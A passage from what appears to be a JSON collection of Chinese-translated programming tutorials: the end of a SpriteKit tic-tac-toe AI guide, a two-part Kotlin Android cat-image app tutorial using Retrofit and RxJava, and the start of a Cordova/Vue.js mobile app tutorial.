`GKGameModelUpdate` 和 `GKGameModelPlayer`。\n\n我们需要模型去展示玩家，他们的步棋策略和展示棋盘。我们实现了 `GKGameModelPlayer` 协议，所以我们的AI（人工智能）可以辨别我们不同的玩家。还有一个必须要实现的属性是 `playerId`。下一个我们需要解决的是创建一个策略对象，该对象实现了 `GKGameModelUpdate` 协议。该协议需要我们提供一个数值属性（可被量化的属性），该属性能被决策树用于评估每一次的策略。我们所做的是把这个数值增加到我们的类中然后让极大极小值策略者来解决余下的问题。\n\n最后，我们创建游戏棋盘的类并且实现 `GKGameModel` 协议。这个协议很大一部分的作用是模拟一个玩家可能使用的策略（步骤走法）。通过实现 `gameModleUpdatesForPlayer` 函数，我们汇总了某一个玩家所有可能使用的走法。每一个我们存储的走法都是 `Move` 类的实例，该函数实现了 `GKGameModelUpdate` 的协议。我也实现了一些其他的协议方法，我会把这些留给读者去研究: `unapplyGameModelUpdate`， `isWinForPlayer`， `isLossForPlayer`， `setGameModel`， `activePlayer`， `scoreForPlayer`。\n\n#### 汇总\n\n切换回 `GameScene.swift` 文件并且检查 `didMoveToView` 这个功能函数。我们需要连接AI（人工智能）和创建我们的状态机。关于连接AI（人工智能），我们初始化一个 `GKMinmaxStrategist` 的实例并且设置 `maxLookAheadDepth` 来控制AI　对手在游戏种到底有多厉害。我们也会设定 `GKARC4RandomSource` 的随机源属性，所以我们的 AI(人工智能)将会在出现很多个“最好”的走法的时候随机的选择一个。关于我们的状态机，我们创建 `Start` , `Active` 和 `End` 状态的实例并且将他们传给我们的状态机，让他开始运作。最后，我们告诉状态机进入 `StartGameState`。\n\n```\n     override func didMoveToView(view: SKView) {\n        /* Setup your scene here */\n        self.enumerateChildNodesWithName(\"//grid*\") { (node, stop) in\n          if let node = node as? SKSpriteNode{\n            node.color = UIColor.clearColor()\n          }\n        }\n\n        let top_left: BoardCell  = BoardCell(value: .None, node: \"//*top_left\")\n        let top_middle: BoardCell = BoardCell(value: .None, node: \"//*top_middle\")\n        let top_right: BoardCell = BoardCell(value: .None, node: \"//*top_right\")\n        let middle_left: BoardCell = BoardCell(value: .None, node: \"//*middle_left\")\n        let center: BoardCell = BoardCell(value: .None, node: \"//*center\")\n        let middle_right: BoardCell = BoardCell(value: .None, node: \"//*middle_right\")\n        let bottom_left: BoardCell = BoardCell(value: .None, node: \"//*bottom_left\")\n        let bottom_middle: BoardCell = BoardCell(value: .None, node: \"//*bottom_middle\")\n        let bottom_right: BoardCell = BoardCell(value: .None, node: \"//*bottom_right\")\n\n        let board = [top_left, top_middle, top_right, middle_left, center, middle_right, bottom_left, bottom_middle, bottom_right]\n\n        gameBoard = Board(gameboard: board)\n\n        ai = GKMinmaxStrategist()\n        ai.maxLookAheadDepth = 9\n        ai.randomSource = GKARC4RandomSource()\n\n        let beginGameState = StartGameState(scene: self)\n        let activeGameState = ActiveGameState(scene: self)\n        let endGameState = EndGameState(scene: self)\n\n        stateMachine = GKStateMachine(states: [beginGameState, activeGameState, endGameState])\n        stateMachine.enterState(StartGameState.self)\n\n    }\n```\n\n如果你运行了 `iOS` 模拟器，我们可以开始玩游戏并且测试我们的 AI（人工智能）！\n\n![](http://ww3.sinaimg.cn/large/a490147fjw1f5s9ktn73pg20ae0j8aas.gif)\n\n#### 总结\n\n我们已经创建了一个快速的游戏并且学习了一些关于 `SpriteKit` 和 `GameplayKit` 的内容。我支持你们去改变这个游戏并且尝试些什么让自己更舒服。如果你需要什么建议，你也许可以开始先从实现玩家交替（游戏）开始。另一个想法是可实现提供玩家一个在屏幕上调整 AI（人工智能）的等级或者彻底关闭（的功能）。\n\n还有一点要注意的是，我也写了一篇关于为什么创建原生应用程序可能是最好的努力学习移动手机应用程序开发的方式。你可以阅读它并且可以提出自己的观点。\n"
  },
  {
    "path": "TODO/building-a-kotlin-project-2.md",
    "content": ">* 原文链接 : [Building a Kotlin project 2/2](http://www.cirorizzo.net/2016/03/04/building-a-kotlin-project-2/)\n* 原文作者 : [CIRO RIZZO](https://github.com/cirorizzo)\n* 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者 : [Jing KE](https://github.com/jingkecn)\n* 校对者: [lizhuo](https://github.com/huanglizhuo), [DianaZhou](https://github.com/DianaZhou)\n\n# 创建一个基于 Kotlin 的 Android 项目（下集）\n\n###### _第 2 部分_\n\n在先前的[文章](http://gold.xitu.io/entry/56e3fdc3df0eea0054c7c61f)中，我们从零开始新建了一个项目，并且为小猫咪应用调整了 `build.gradle`。\n\n接下来就是针对应用的基础部分编写代码了。\n\n#### 数据模型\n\n此应用的一个主要特征是通过网络从 `http://thecatapi.com/` 中解析数据。\n\n> _完整的 API 如此调用：`http://thecatapi.com/api/images/get?format=xml&amp;results_per_page=10`_\n\nAPI 返回一个 `XML` 文件，如下：\n\n![XML API](http://www.cirorizzo.net/content/images/2016/03/xxmlAPI.png.pagespeed.ic.CABTBWB1Ch.png)\n\n它需要反序列化数据来获取包含小猫咪图片位置的 `url` 属性。\n\nKotlin 有一个非常有用的数据类（`data class`）可以完美实现此目的。\n\n右击 `model.cats` 包 (package) 开始新建一个类文件并且选择  `New -> Kotlin File/Class` 然后将其命名为 `Cats` 并选择 `Class` 作为文件类型。\n\n为像接收到的 `XML` 文件那样构造类，`Cats.kt` 文件将如下所示：\n\n    data class Cats(var data: Data? = null)\n\n    data class Data(var images: ArrayList<Image>? = null)\n\n    data class Image(var url: String? = \"\", var id: String? = \"\", var source_url: String? = \"\")\n\n目前还非常简单……\n\n但同样的类在 Java 中长多了！\n\nKotlin 中的数据类有几个好处，例如由编译器生成 `getter()`、`setter()` 以及 `toString()` 方法，还有更多的像 `equals()`、`hashCode()` 以及 `copy()` 这些。所以使用它反序列化数据甚是完美。\n\n#### API 调用\n\n通过网络解析数据有很多种方法，也有各种第三方库可以应付。其中就有 Square 的 [Retrofit2<sup class=\"readableLinkFootnote\"></sup>](http://square.github.io/retrofit/) \n\n这是一个非常强大的 `HTTPClient` 并且安装简单。\n\n我们从 `interface` 开始，先在 `network` 包下创建之。\n \n称其为 `CatAPI`，如下所示：\n\n    interface CatAPI {\n        @GET(\"/api/images/get?format=xml&amp;results_per_page=\" + BuildConfig.MAX_IMAGES_PER_REQUEST)\n        fun getCatImageURLs(): Observable<Cats>\n    }\n\n`interface` 会完成对 API 端 `/api/images/get?format=xml&amp;results_per_page=` 的 `Get` 请求。\n \n本例中 `results_per_page` 参数从 `build.gradle` 中定义的 `MAX_IMAGES_PER_REQUEST` 常量获取数值，该常量的不同取值取决于使用的 `buildTypes`。\n\n    buildTypes {\n        debug {\n            buildConfigField(\"int\", \"MAX_IMAGES_PER_REQUEST\", \"10\")\n            ...\n\n> 此方式对常量在像 `debug` 或 `release` 情景下的不同取值极其有用，\n_尤其是在需要从线上 API 切换到测试 API 的时候_。\n\n关于 `interface CatAPI` 有一个关键点，那就是用来实现从 API 回调的函数 `fun getCatImageURLs(): Observable<Cats>`。\n\n所以下一步便是其实现。\n \n同在 `network` 包下，新建一个类并将其命名为 `CatAPINetwork`，如下：\n\n    class CatAPINetwork {\n        fun getExec(): Observable<Cats> {\n            val retrofit = Retrofit.Builder()\n                .baseUrl(\"http://thecatapi.com\")\n                .addConverterFactory(SimpleXmlConverterFactory.create())\n                .addCallAdapterFactory(RxJavaCallAdapterFactory.create())\n                .build()\n\n            val catAPI: CatAPI = retrofit.create(CatAPI::class.java)\n\n            return catAPI.getCatImageURLs().\n                subscribeOn(Schedulers.io()).\n                observeOn(AndroidSchedulers.mainThread())\n        }\n    }\n\n`fun getExec(): Observable<Cats>` 为隐式 `public`，这意味着它可以在此类以外被调用。\n\n`.addConverterFactory(SimpleXmlConverterFactory.create())` 这一行表明使用 `XML` 转换器来反序列化调用 API 的结果。\n\n接着 `.addCallAdapterFactory(RxJavaCallAdapterFactory.create())` 是用于 API 回调的调用适配器。\n\n`return` 行返回 `RxJava` 的 `Observable` 对象：\n\n    return catAPI.getCatImageURLs().\n                subscribeOn(Schedulers.io()).\n                observeOn(AndroidSchedulers.mainThread())\n\n#### Presenter\n\n`Presenter` 模块负责完成应用的逻辑部分并在 `View` 和 `Model` 之间实现数据绑定。\n\n本例会实现 `View` 调用以解析 API 数据的方法并将其送至负责展示的 `Adapter`。\n\n为与 `View` 通信，我们先在 `presenter` 包中创建其 `interface` 然后将其命名为 `MasterPresenter`，如下所示：\n\n    interface MasterPresenter {\n        fun connect(imagesAdapter: ImagesAdapter)\n        fun getMasterRequest()\n    }\n\n第一个函数 `fun connect(imagesAdapter: ImagesAdapter)` 用来连接 `Adapter interface` 以显示数据，并且由 `fun getMasterRequest()` 启动 API 请求。\n\n我们将这些实现置于 `presenter` 包的一个新类中并将其命名为 `MasterPresenterImpl`：\n\n    class MasterPresenterImpl : MasterPresenter {\n        lateinit private var imagesAdapter: ImagesAdapter\n\n        override fun connect(imagesAdapter: ImagesAdapter) {\n            this.imagesAdapter = imagesAdapter\n        }\n\n        override fun getMasterRequest() {\n            imagesAdapter.setObservable(getObservableMasterRequest(CatAPINetwork()))\n        }\n\n        private fun getObservableMasterRequest(catAPINetwork: CatAPINetwork): Observable<Cats> {\n            return catAPINetwork.getExec()\n        }\n    }\n\n值得注意的是，在 `lateinit private var imagesAdapter: ImagesAdapter` 一行中，Kotlin 允许我们使用 `lateinit` 关键字在未初始化的情况下声明一个非空可变的对象。它将会在运行时第一次使用它的时候被初始化，比如在本例中会调用 `fun connect(imagesAdapter: ImagesAdapter)`。\n\n`fun getMasterRequest()` 函数负责启用 API 调用，只设置 `Observable` 以便 `Adapter`  (例如 `imagesAdapter`)在启用执行 API 调用的 `catAPINetwork.getExec()` 函数后“订阅”之。\n\n#### View 部分\n\n实现 UI 的类均集中于 `view` 包中。\n\n基本上都是 `View` 和 `Adapter` 这些；本例中是 `MainActivity` 和 `ImagesAdapter`。\n\n###### Layouts\n\n开始实现之前，我们先来研究一下布局 ( `Layout` ) 设计。\n\n![Kitten App](http://www.cirorizzo.net/content/images/2016/03/xkittenApp-1.png.pagespeed.ic.ulo4yWl6Cg.png)\n\n为实现此设计我们大体上需要<mark>主容器</mark>和<mark> item 容器</mark>这两个基本组件。\n\n主容器包含 item 列表，且我们会将其置于项目 `res -> layout`  文件夹的 `activity_main.xml` 中；此文件已在[创建项目<sup class=\"readableLinkFootnote\"></sup>](http://www.cirorizzo.net/building-a-kotlin-project/)的初始价段自动生成。\n\n我们需要将应用装进一个`RecyclerView` 组件中（一个非常强大并且改良过的列表视图组件）。\n\n`activity_main.xml` 如下所示：\n\n    <?xml version=\"1.0\" encoding=\"utf-8\"?>\n    <RelativeLayout xmlns:android=\"http://schemas.android.com/apk/res/android\"\n        xmlns:tools=\"http://schemas.android.com/tools\"\n        android:layout_width=\"wrap_content\"\n        android:layout_height=\"wrap_content\"\n        tools:context=\".view.MainActivity\"\n        android:gravity=\"center\">\n\n        <android.support.v7.widget.RecyclerView\n            android:id=\"@+id/containerRecyclerView\"\n            android:layout_width=\"wrap_content\"\n            android:layout_height=\"wrap_content\"\n            android:scrollbars=\"vertical\"\n            android:layout_centerInParent=\"true\" />\n    </RelativeLayout>\n\n`containerRecyclerView` 组件代表 item 列表<mark>主容器</mark>\n\n`row_card_view.xml` 是列表的 <mark>item 容器</mark>，大体上像这样：\n\n    <?xml version=\"1.0\" encoding=\"utf-8\"?>\n    <android.support.v7.widget.CardView\n        xmlns:card_view=\"http://schemas.android.com/apk/res-auto\"\n        xmlns:android=\"http://schemas.android.com/apk/res/android\"\n        android:id=\"@+id/card_view\"\n        android:layout_gravity=\"center\"\n        android:layout_width=\"wrap_content\"\n        android:layout_height=\"wrap_content\"\n        card_view:cardCornerRadius=\"4dp\"\n        android:layout_margin=\"16dp\"\n        android:background=\"@android:color/transparent\"\n        android:layout_centerInParent=\"true\"\n        android:elevation=\"4dp\">\n\n        <RelativeLayout\n            android:layout_width=\"wrap_content\"\n            android:layout_height=\"wrap_content\"\n            android:layout_centerInParent=\"true\"\n            android:gravity=\"center\"\n            android:foregroundGravity=\"center\">\n\n            <ImageView\n                android:layout_width=\"wrap_content\"\n                android:layout_height=\"wrap_content\"\n                android:id=\"@+id/imgVw_cat\"\n                android:padding=\"4dp\"\n                android:layout_centerInParent=\"true\"\n                android:scaleType=\"fitCenter\"\n                android:contentDescription=\"@string/cat_image\" />\n        </RelativeLayout>\n    </android.support.v7.widget.CardView>\n\n如你所见，item 容器正是主要由一个包含 `ImageView` (`imgVw_cat`) 的 `RelativeLayout` 组成的 `card_view`。\n\n###### Adapter\n\n现在已经有了 `Layout` 的基本部分，那么接下来我们继续实现 `MainActivity` 和 `Adapter`。\n\n从 `Adapter` 开始首先要创建其 `interface` 以被前面的 `MasterPresenterImpl` 调用，所以我们在 `view` 包中新建一个文件并将其命名为 `ImagesAdapter`，然后内容如下：\n\n    interface ImagesAdapter {\n        fun setObservable(observableCats: Observable<Cats>)\n        fun unsubscribe()\n    }\n\n`setObservable(observableCats: Observable<Cats>)` 函数被 `MasterPresenterImpl` 调用来设置 `Observable` 以及让 `Adapter` “订阅”。\n\n`unsubscribe()` 函数会被 `MainActivity` 调用以在 activity 被销毁的时候“退订” `Adapter`。\n\n现在我们在同一个包下一个新建的类中实现它们，称其为 `ImagesAdapterImpl`，如下：\n\n    class ImagesAdapterImpl : RecyclerView.Adapter<ImagesAdapterImpl.ImagesURLsDataHolder>(), ImagesAdapter {\n        private val TAG = ImagesAdapterImpl::class.java.simpleName\n\n        private var cats: Cats? = null\n        private val subscriber: Subscriber<Cats> by lazy { getSubscribe() }\n\n        override fun onCreateViewHolder(parent: ViewGroup, viewType: Int): ImagesURLsDataHolder {\n            return ImagesURLsDataHolder(\n                    LayoutInflater.from(parent.context).inflate(R.layout.row_card_view, parent, false))\n        }\n\n        override fun getItemCount(): Int {\n            return cats?.data?.images?.size ?: 0\n        }\n\n        override fun onBindViewHolder(holder: ImagesURLsDataHolder, position: Int) {\n            holder.bindImages(cats?.data?.images?.get(position)?.url ?: \"\")\n        }\n\n        private fun setData(cats: Cats?) {\n            this.cats = cats\n        }\n\n        override fun setObservable(observableCats: Observable<Cats>) {\n            observableCats.subscribe(subscriber)\n        }\n\n        override fun unsubscribe() {\n            if (!subscriber.isUnsubscribed) {\n                subscriber.unsubscribe()\n            }\n        }\n\n        private fun getSubscribe(): Subscriber<Cats> {\n            return object : Subscriber<Cats>() {\n                override fun onCompleted() {\n                    Log.d(TAG, \"onCompleted\")\n                    notifyDataSetChanged()\n                }\n\n                override fun onNext(cats: Cats) {\n                    Log.d(TAG, \"onNextNew\")\n                    setData(cats)\n                }\n\n                override fun onError(e: Throwable) {\n                    //TODO : Handle error here\n                    Log.d(TAG, \"\" + e.message)\n                }\n            }\n        }\n\n        class ImagesURLsDataHolder(view: View) : RecyclerView.ViewHolder(view) {\n\n            fun bindImages(imgURL: String) {\n                Glide.with(itemView.context).\n                        load(imgURL).\n                        placeholder(R.mipmap.document_image_cancel).\n                        diskCacheStrategy(DiskCacheStrategy.ALL).\n                        centerCrop().\n                        into(itemView.imgVw_cat)\n            }\n        }\n    }\n\n这是填充 `row_card_view.xml` 的类，基本上就是 `onCreateViewHolder` 函数的 <mark>item 容器</mark>。\n\n在 `private val subscriber: Subscriber<Cats> by lazy { getSubscribe() }` 一行中，`getSubscribe()` 函数为 `Adapter` “订阅”用到的 `Observable`，这里你会看到 `lazy` 初始化，这是一种声明一个不可变对象的方法（比如 `subscriber`）并且会在运行时首次调用时创建于函数体内（例如 `getSubscribe()`）。\n\n> _Subscriber 和 Observable 概念来源于 [RxJava<sup class=\"readableLinkFootnote\"></sup>](https://github.com/ReactiveX/RxJava)；我们今后会深入讨论。_\n\n最后值得注意的还有使用 `Glide` 库来填充 `imgVw_cat` 的名为 `ImagesURLsDataHolder` 的内部类 (inner class) ，这有助于从调用 API 取得的传递 `URL` 获取图片。这部分包含在 `bindImages(imgURL: String)` 函数中并且由统一文件中的 `onBindViewHolder` 方法调用。\n\n###### Activity\n\n最后同样重要的便是 `Activity`（例如 `MainActivity`）：\n\n    class MainActivity : AppCompatActivity() {\n        private val imagesAdapterImpl: ImagesAdapterImpl by lazy { ImagesAdapterImpl() }\n\n        private val masterPresenterImpl: MasterPresenterImpl\n                by lazy {\n                    MasterPresenterImpl()\n                }\n\n        override fun onCreate(savedInstanceState: Bundle?) {\n            super.onCreate(savedInstanceState)\n            setContentView(R.layout.activity_main)\n\n            initRecyclerView()\n            connectingToMasterPresenter()\n            getURLs()\n        }\n\n        override fun onDestroy() {\n            imagesAdapterImpl.unsubscribe()\n            super.onDestroy()\n        }\n\n        private fun initRecyclerView() {\n            containerRecyclerView.layoutManager = GridLayoutManager(this, 1)\n            containerRecyclerView.adapter = imagesAdapterImpl\n        }\n\n        private fun connectingToMasterPresenter() {\n            masterPresenterImpl.connect(imagesAdapterImpl)\n        }\n\n        private fun getURLs() {\n            masterPresenterImpl.getMasterRequest()\n        }\n    }\n\n注意到以下函数：\n\n*   `initRecyclerView()`\n*   `connectingToMasterPresenter()`\n*   `getURLs()`\n\n分别用于：\n\n*    初始化<mark>主容器</mark>（例如 `RecyclerView`）\n*    将 `MasterPresenterImpl` 连接至 `MainActivity` 并传至 `ImagesAdapterImpl`（又称 `Adapter`） 的 `interface`\n*    `getURLs()` 启动 API 请求以获取 `XML` 数据，然后执行任务（反序列化数据，通过 `Adapter` 获取图片）。\n\n至此小猫咪应用已经准备就绪。\n\n你可以在我 Github 仓库中找到 [KShow<sup class=\"readableLinkFootnote\"></sup>](https://github.com/cirorizzo/KShows) 完整的项目。\n\n该项目也有 Java 的实现：[JShows<sup class=\"readableLinkFootnote\"></sup>](https://github.com/cirorizzo/JShows)，以便对比。\n"
  },
  {
    "path": "TODO/building-a-kotlin-project.md",
    "content": "> * 原文链接 : [Building a Kotlin project 1/2](http://cirorizzo.net/2016/03/04/building-a-kotlin-project/)\n* 原文作者 : [CIRO RIZZO](https://github.com/cirorizzo)\n* 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者 : [Jing KE](https://github.com/jingkecn)\n* 校对者: [lizhuo](https://github.com/huanglizhuo)、[JOJO](https://github.com/Sausure)\n\n# 创建一个基于 Kotlin 的 Android 项目（上集）\n\n###### _第 1 部分_\n\n学习一门新语言的最好途径是在实际情景中使用它。\n  \n这个新系列的文章正是以此方式来集中使用 Kotlin 建立一个真正的 Android 项目。\n\n#### 情景\n\n为适用尽可能多的场合，该项目将需要：\n\n*   接入网络\n*   通过 REST API 访问取得数据\n>   【译注】[这里](https://zh.wikipedia.org/wiki/REST)了解 REST API 概念。\n*   反序列化数据\n>   【译注】[这里](https://zh.wikipedia.org/wiki/%E5%BA%8F%E5%88%97%E5%8C%96)了解**序列化**与**反序列化**概念。\n*   在一个列表中展示图片\n\n为此，何不干脆让此应用展示小猫咪呢？;)  \n\n使用 [http://thecatapi.com/](http://thecatapi.com/) API 我们可以获取几张有趣的小猫图片：\n\n![KittenApp](http://cirorizzo.net/content/images/2016/03/xkittenApp.png.pagespeed.ic.ulo4yWl6Cg.png)\n\n#### 依赖\n\n看来这是个很好的机会以尝试一些非常酷的库：\n\n*   [Retrofit2](http://square.github.io/retrofit/) 用于网络接入，访问 REST API 以及反序列化数据\n*   [Glide](https://github.com/bumptech/glide) 用于展示图片\n*   [RxJava](https://github.com/ReactiveX/RxJava) 用来绑定数据\n*   [RecyclerView CardView](http://developer.android.com/training/material/lists-cards.html) 作为用户界面\n*   采用 [MVP](https://en.wikipedia.org/wiki/Model%E2%80%93view%E2%80%93presenter) 架构\n\n#### 创建项目\n\n使用 [Android Studio](http://developer.android.com/sdk/index.html) 可以非常简单地从头开始新建一个项目。\n\n**_开始一个新的 Android 项目_**\n\n![Create New Project](http://cirorizzo.net/content/images/2016/03/xAndroidStudio_NewProject.png.pagespeed.ic.7fDR0qSTJd.png)\n\n**_创建一个新项目_**\n\n![New Project](http://cirorizzo.net/content/images/2016/03/xAndroidStudio_NewProject_Create_NEW-1.png.pagespeed.ic.rtJ-FIVYiG.png)\n\n**_选择目标 Android 设备_**\n\n![Target](http://cirorizzo.net/content/images/2016/03/xAndroidStudio_NewProject_Target.png.pagespeed.ic.bXlb6fWH62.png)\n\n**_添加一个 `Activity`_**\n\n![Empty Activity](http://cirorizzo.net/content/images/2016/03/xAndroidStudio_NewProject_Empty.png.pagespeed.ic.VYxIdhZ3Xk.png)\n\n**_定制 `Activity`_**\n\n![Customize Activity](http://cirorizzo.net/content/images/2016/03/xAndroidStudio_NewProject_Activity.png.pagespeed.ic.3g2X5Gs9Bn.png)\n\n按下 Finish，新的项目将按选定模板创建：\n\n![Basic Template](http://cirorizzo.net/content/images/2016/03/xAndroidStudio_Basic_Template.png.pagespeed.ic.3iX8nv51PP.png)\n\n这里开始是我们小猫应用的基础部分！\n\n尽管代码仍然是 Java，后文我们将看到如何将其转换。\n\n#### 定义 Gradle Build 工具\n\n下一步是调整 Build 工具以及确定我们会将到哪些库用于项目。\n\n> _此阶段开始之前，请前往这篇[文章](http://www.cirorizzo.net/kotlin-code/)去看看你在一个 Android Kotlin 项目中需要用到什么。_\n\n打开 Module App `build.gradle` (图中用红色矩形框圈出)：\n\n![Build.Gradle Customizing](http://cirorizzo.net/content/images/2016/03/xAndroidStudio_Basic_Gradle_High.png.pagespeed.ic.0SHrJn4YZc.png)\n\n一个非常好的实践是，将所有库的版本号 (version) 和 Android 特性配置 (properties) 集中于一个单独的脚本中，然后通过 Gradle 提供的 `ext` 属性去访问它们。\n\n最简单的方法就是将以下代码片段添加到 `build.gradle` 文件的开头：\n\n    buildscript {\n      ext.compileSdkVersion_ver = 23\n      ext.buildToolsVersion_ver = '23.0.2'\n\n      ext.minSdkVersion_ver = 21\n      ext.targetSdkVersion_ver = 23\n      ext.versionCode_ver = 1\n      ext.versionName_ver = '1.0'\n\n      ext.support_ver = '23.1.1'\n\n      ext.kotlin_ver = '1.0.0'\n      ext.anko_ver = '0.8.2'\n\n      ext.glide_ver = '3.7.0'\n      ext.retrofit_ver = '2.0.0-beta4'\n      ext.rxjava_ver = '1.1.1'\n      ext.rxandroid_ver = '1.1.0'\n\n      ext.junit_ver = '4.12'\n\n      repositories {\n          mavenCentral()\n      }\n\n      dependencies {\n          classpath \"org.jetbrains.kotlin:kotlin-gradle-plugin:$kotlin_ver\"\n      }\n    }\n\n然后添加 Kotlin 插件，如下所示：\n\n    apply plugin: 'com.android.application'\n    apply plugin: 'kotlin-android'\n    apply plugin: 'kotlin-android-extensions'\n\n在为库添加依赖之前，我们将在项目中利用此前在文件开头添加的 `ext` 属性来更改脚本中的所有版本号：\n\n    android {\n      compileSdkVersion \"$compileSdkVersion_ver\".toInteger()\n      buildToolsVersion \"$buildToolsVersion_ver\"\n\n      defaultConfig {\n        applicationId \"com.github.cirorizzo.kshows\"\n        minSdkVersion \"$minSdkVersion_ver\".toInteger()\n        targetSdkVersion \"$targetSdkVersion_ver\".toInteger()\n        versionCode \"$versionCode_ver\".toInteger()\n        versionName \"$versionName_ver\"\n    }\n    ...\n\n再更改一下 `buildTypes` 部分：\n\n    buildTypes {\n        debug {\n            buildConfigField(\"int\", \"MAX_IMAGES_PER_REQUEST\", \"10\")\n            debuggable true\n            minifyEnabled false\n            proguardFiles getDefaultProguardFile('proguard-android.txt'), 'proguard-rules.pro'\n        }\n\n        release {\n            buildConfigField(\"int\", \"MAX_IMAGES_PER_REQUEST\", \"500\")\n            debuggable false\n            minifyEnabled true\n            shrinkResources true\n            proguardFiles getDefaultProguardFile('proguard-android.txt'), 'proguard-rules.pro'\n        }\n    }\n    sourceSets {\n        main.java.srcDirs += 'src/main/kotlin'\n    }\n\n下一步是声明项目中用到的库：\n\n    dependencies {\n      compile fileTree(dir: 'libs', include: ['*.jar'])\n      testCompile \"junit:junit:$junit_ver\"\n\n      compile \"com.android.support:appcompat-v7:$support_ver\"\n      compile \"com.android.support:cardview-v7:$support_ver\"\n      compile \"com.android.support:recyclerview-v7:$support_ver\"\n      compile \"com.github.bumptech.glide:glide:$glide_ver\"\n\n      compile \"com.squareup.retrofit2:retrofit:$retrofit_ver\"\n      compile (\"com.squareup.retrofit2:converter-simplexml:$retrofit_ver\") {\n        exclude module: 'xpp3'\n        exclude group: 'stax'\n    }\n\n      compile \"io.reactivex:rxjava:$rxjava_ver\"\n      compile \"io.reactivex:rxandroid:$rxandroid_ver\"\n      compile \"com.squareup.retrofit2:adapter-rxjava:$retrofit_ver\"\n\n      compile \"org.jetbrains.kotlin:kotlin-stdlib:$kotlin_ver\"\n      compile \"org.jetbrains.anko:anko-common:$anko_ver\"\n    }\n\n至此项目的 `build.gradle` 已准备就绪。\n\n还有一点就是添加 `uses-permission` 来接入网络，因此将下面这行添加到 `AndroidManifest.xml` 中：\n\n```xml\n    <uses-permission android:name=\"android.permission.INTERNET\" />\n```\n\n现在我们可以准备进行下一步了。\n\n#### 设计项目结构\n\n另一个较好的实践是，在项目使用不同的包 (packages) 和文件夹 (folders) 来组织构成我们项目的不同类集合，所以我们可以这样组织我们的项目：\n\n![Project Structure](http://cirorizzo.net/content/images/2016/03/xProjectStructure.png.pagespeed.ic.pltXQ_UkqX.png)\n\n> _右击根目录包 `com.github.cirorizzo.kshows` 然后选择 `New->Package`。_\n\n#### 编写代码\n\n下一篇[文章](http://www.cirorizzo.net/2016/03/04/building-a-kotlin-project-2/)将论述如何为小猫应用的各部分编码。\n\n"
  },
  {
    "path": "TODO/building-a-mobile-app-with-cordova-vuejs.md",
    "content": "> * 原文地址：[使用 Cordova 和 Vue.js 创建移动应用](https://coligo.io/building-a-mobile-app-with-cordova-vuejs/)\n* 原文作者：[Michael Viveros](https://coligo.io/)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[circlelove](https://github.com/circlelove)\n* 校对者：[llp0574](https://github.com/llp0574), [zhouzihanntu](https://github.com/zhouzihanntu)\n\n# 使用 Cordova 和 Vue.js 创建移动应用\n\n[获取代码](https://github.com/coligo-io/random-word-generator-cordova-vuejs)\n\n\n[Cordova](https://cordova.apache.org/) 是一个你可以使用HTML, JavaScript 和 CSS 等 web 技术开发移动应用的框架。它支持使用一套基本代码面向多平台，如 Android 和 iOS 。尽管你在开发中仍然需要用到该平台特定的技术，例如 Android SDK 或 Xcode ，你也无需再编写任何 Android 或 iOS 代码就能完成应用开发。\n\n既然你能够掌握 HTML 和 JavaScript 代码的编写，使用[Vue.js](https://vuejs.org/) 这样配有 Cordova 的  JavaScript 库就是小菜一碟了。\n\n这个教程将为您展示如何使用 Cordova 和 Vue.js 开发一个简单的生成随机单词的移动应用。\n\n\n# 准备工作\n\n* 下载 [Node.js](https://nodejs.org/en/)\n* 安装 Cordova: `npm install -g cordova`\n* [Vue.js 基础](https://coligo.io/vuejs-the-basics/)\n\n# 配置一个 Cordova 工程\n\n创建一个名为 RandomWord 的工程：\n\n    cordova create RandomWord\n    cd RandomWord\n\n将会创建一个 Cordova 工程的目录结构：\n\n![Cordova Vue.js Directory Structure](https://coligo.io/building-a-mobile-app-with-cordova-vuejs/directory-structure.png)\n\n\n*   **config.xml** -包含应用相关信息，使用到的插件以及面向的平台\n*   **platforms** -  包含应用运行平台如 Android 和 iOS 上对应的 Cordova 库\n*   **plugins** - 包含应用所需插件的 Cordova 库，使得应用能够访问例如照相机和电池状态相关的事项。\n*   **www** -  包含应用源代码，例如 HTML, JavaScript 和 CSS 文件\n*   **hooks** - 包含为个性化应用编译系统所需的脚本\n\n添加安卓平台：\n\n    cordova platform add android --save\n\n这样就可以将安卓平台库添加到平台目录(platforms/android)当中。\n\n它也可以添加白名单插件用于限制应用访问或在浏览器当中打开指定 URL 地址。随机单词生成器应用无需这种功能，但是你可以了解关于白名单的更多事项。[这里](https://cordova.apache.org/docs/en/latest/reference/cordova-plugin-whitelist/)。\n\n`--save` flag 将平台引擎添加到 config.xml ，是[cordova prepare](https://cordova.apache.org/docs/en/latest/reference/cordova-cli/#cordova-prepare-command) 从一个 **config.xml** 文件初始化 Cordova 工程需要的命令。\n\n\n  \n    ...\n        <engine name=\"android\" spec=\"~5.2.1\" />\n    </widget>\n\n检查你是否具备使用 Cordova 开发/运行 Android 应用的条件：\n\n    cordova requirements\n\n如果有条件缺失，查看[ Android 版 Cordova 文档](https://cordova.apache.org/docs/en/latest/guide/platforms/android/) 以及以及以及教程底部的 Help。这的确是教程当中最难的部分。耐心一点，参考链接提到的部分。一旦所有需求都满足了，教程剩下的部分就是小意思了。\n\n创建一个 Android 应用：\n\n    cordova build android\n\n将手机连接在电脑上，运行该 Android 程序：\n\n    cordova run android\n\n如果没有 Android 手机可以连接到电脑，Cordova 将在仿真器上运行应用。\n\n示例应用相当简单，它所做的只是更改标签的背景色\n\n![Cordova Sample Screen](https://coligo.io/building-a-mobile-app-with-cordova-vuejs/cordova-sample-app.png)\n\n要用 iOS 替代 Android ，按上述步骤进行操作，只需把 `android` 换成 `ios` 。如果不满足条件，查看[iOS 版 Cordova 文档](https://cordova.apache.org/docs/en/latest/guide/platforms/ios/)  以及教程底部的 Help 。如果在 Windows 系统的电脑上运行 Cordova ，你*无法*创建/运行 iOS 应用，因为 iOS Cordova 需要苹果系统。\n\n\n或者，你可以使用你的浏览器替代手机设备，只需使用 `browser` 平台。同样按上述步骤，只需把 `android` 换成 `browser`。\n\n在 **config.xml** 文件中更改有关随机单词生成器应用的信息：\n    \n    \n        <?xml version='1.0' encoding='utf-8'?>\n        <widget id=\"io.coligo.randomword\" version=\"1.0.0\" xmlns=\"http://www.w3.org/ns/widgets\" xmlns:cdv=\"http://cordova.apache.org/ns/1.0\">\n            <name>RandomWord</name>\n            <description>\n                A mobile app for generating a random word.\n            </description>\n            <author email=\"michaelviveros@gmail.com\" 